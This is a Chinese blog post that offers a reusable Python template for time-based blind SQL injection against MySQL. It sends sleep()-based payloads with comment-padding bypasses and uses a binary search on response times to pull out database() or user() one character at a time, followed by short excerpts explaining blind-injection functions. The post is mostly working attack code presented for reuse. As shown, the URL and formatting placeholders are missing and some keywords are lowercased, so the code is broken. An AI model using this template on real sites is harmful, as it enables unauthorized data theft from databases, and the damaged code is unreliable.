mysql盲注模板

2022-09-08 05:06:11 字數 1698 閱讀 7456

幾次mysql盲注中抽出來的盲注模板

import requests

import time

time_conf = 1

results = ""

for i in range(1, 40):

min_char_index = 1 # 當前字元最小ascii

large_char_index = 250 # 當前字元最大ascii

fount = false

current_char = ""

print("當前判斷位數 ", i)

while true: # 二分法

print("間距 ", min_char_index, large_char_index)

medium_char_index = int((min_char_index + large_char_index)/2) # ascii值中位數

# 重複請求三次

running_time = 0

for _num in range(3): # 每個字元請求三次取均值,避免網路波動導致影響

url = f"" \

f"/**/or/**/1=1/**/and/**/" \

f"if((ascii(substr(database(),,1))%3e),sleep(),1=2)" \

f"&phone=18888888888" # 該場景超過一秒後端的呼叫會中斷,所以這個if最多只有一秒多

# url = f"" \

# f"(select*from(select+sleep(" \

# f"if((ascii(substr(user(),,1))%3e),sleep(),1)" \

# f")union/**/select+1)a)"

start_time = time.time()

rep = requests.get(url)

running_time += (time.time() - start_time)

running_time = running_time/3

if large_char_index - min_char_index == 1:

current_char = ""

if running_time >= time_conf:

current_char = chr(large_char_index)

else:

current_char = chr(min_char_index)

break

if running_time > time_conf: # 根據響應時間判斷字元位於哪個二分區間

min_char_index = medium_char_index

else:

large_char_index = medium_char_index

print("字元=>", current_char, " ascii=>", ord(current_char))

if ord(current_char) == 1 or ord(current_char) == 250:

break

results += current_char

print("當前結果=>", results)

print("結果=>", results)

mysql 時間盲注 MySQL手注之時間盲注

時間盲注 延遲 沒有任何回顯點 在頁面中輸入任何內容都會返回同乙個頁面內容的 就可以嘗試使用延遲盲注。時間盲注常用的函式 if函式 if condition,a,b 含義 如果condition 成立,執行a,則b substr函式 含義 擷取字串。subster string,start,leng...

SQL盲注 時間盲注,dnslog盲注

時間盲注原理 id get id sql select from users where id id limit 0,1 result mysql query sql row mysql fetch array result if row else 存在sql注入漏洞 然而頁面不會回顯資料,也不會回...

Mysql時間盲注

if 函式 if 1,2,3 如果條件1為真,執行結果語句2 如果條件1為假,執行結果語句3 sleep 函式 sleep以秒來算的 length 函式 測量字串的長度 substr 函式 substr s,a,b a為對s擷取的位置,b為對s擷取的長度 ascii 函式 ascii a 返回a的a...